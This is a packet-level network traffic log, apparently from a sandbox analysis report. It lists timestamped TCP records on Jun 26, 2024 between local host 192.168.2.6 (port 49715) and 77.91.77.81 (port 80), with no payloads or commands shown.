Jun 26, 2024 08:16:31.843360901 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843417883 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843417883 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843419075 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843425035 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843436956 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843442917 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843555927 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843561888 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843573093 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843580008 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843585014 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843590975 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843591928 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843611956 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843703985 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843709946 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843720913 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843739986 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843743086 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843746901 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843753099 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843767881 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843767881 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843858957 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843880892 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843888044 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843898058 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843904018 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843909979 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843946934 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843946934 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.844031096 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.844050884 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844060898 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844068050 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844074011 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844079971 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844090939 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844103098 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844118118 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.844189882 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844197035 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844208002 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844213963 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844222069 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.844254971 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.844254971 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.844293118 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844300032 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844305992 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844311953 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844316959 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.844360113 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.844360113 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.874957085 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.874964952 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.874978065 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.875026941 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.875034094 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.875046015 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.875051975 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.875065088 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.875102043 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.875102997 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.896240950 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.896289110 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.896295071 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.896347046 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.896358013 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.896368027 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.896370888 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.896373034 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.896501064 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.900631905 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900644064 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900655985 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900660992 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900666952 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900736094 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900753021 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900758982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900763988 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900764942 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.900769949 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900784969 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.900816917 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900821924 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900832891 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900836945 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.900840998 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.900882959 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.900882959 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.930213928 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930234909 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930241108 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930253029 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930258036 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930263996 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930269957 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930289984 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.930331945 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.930855036 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930860996 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930876970 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930902004 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.930915117 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930919886 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930927038 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930928946 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.930932045 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.930949926 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.930982113 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.931482077 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931488991 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931494951 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931530952 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931534052 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.931536913 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931549072 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931577921 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.931618929 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931624889 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931634903 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931641102 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931669950 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931672096 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.931678057 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931684017 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931691885 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.931716919 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.931833982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931840897 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931853056 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931859016 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931864977 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931870937 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931886911 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.931895018 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931901932 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931907892 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.931936979 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.931957960 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931963921 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931969881 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.931976080 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.932003021 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.932013988 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.932138920 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.932151079 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.932192087 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933171034 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933177948 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933182955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933212996 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933218956 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933228970 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933231115 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933237076 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933244944 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933257103 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933260918 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933270931 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933271885 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933275938 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933281898 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933288097 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933294058 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933305025 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933305979 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933311939 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933315992 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933319092 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933324099 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933335066 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933342934 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933350086 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933357954 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933360100 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933381081 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933387995 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933393955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933394909 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933403015 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933403015 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933409929 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933425903 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933432102 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933433056 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933444023 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933449984 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933459044 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933465004 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933471918 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933480978 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933481932 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933487892 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933512926 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933512926 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933532000 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933540106 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933542013 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933547974 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933559895 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933564901 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.933583975 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.933614016 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.964133024 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.964145899 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.964153051 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.964158058 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.964169025 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.964174032 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.964186907 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.964231968 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.964267969 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.983166933 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.983236074 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.983257055 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.983263016 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.983275890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.983280897 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.983288050 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.983293056 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.983314991 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.983350992 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.983350992 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.995174885 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995181084 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995194912 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995208979 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995214939 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995246887 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.995277882 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.995376110 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995398998 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995404959 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995414972 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995418072 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.995420933 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995430946 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995436907 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995440960 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995445967 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.995448112 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.995490074 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.019056082 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019156933 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019164085 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019170046 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019174099 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.019176960 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019191980 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019201994 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019206047 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.019227982 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.019243956 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.019644022 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019649982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019660950 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019696951 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.019718885 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019725084 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019737005 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019743919 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.019771099 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.019794941 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020148993 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020195007 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020200014 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020205975 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020236969 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020253897 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020258904 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020273924 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020282030 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020302057 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020320892 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020323992 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020330906 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020337105 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020348072 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020365000 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020390987 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020450115 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020456076 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020466089 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020476103 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020487070 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020493031 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.020502090 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020514965 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020536900 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.020996094 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021040916 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.021042109 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021054983 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021060944 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021065950 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021083117 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.021102905 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.021116018 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021126032 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021131992 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021164894 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021167040 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.021169901 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021179914 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021208048 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.021219969 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.021287918 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021292925 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021303892 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021308899 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021332979 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.021358013 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.021895885 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021902084 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021950006 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021955967 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.021960020 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021972895 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021975040 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021977901 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.021981001 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022008896 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022033930 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022046089 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022052050 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022063017 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022068977 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022073984 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022092104 CEST	49715	80	192.168.2.6	77.91.77.81
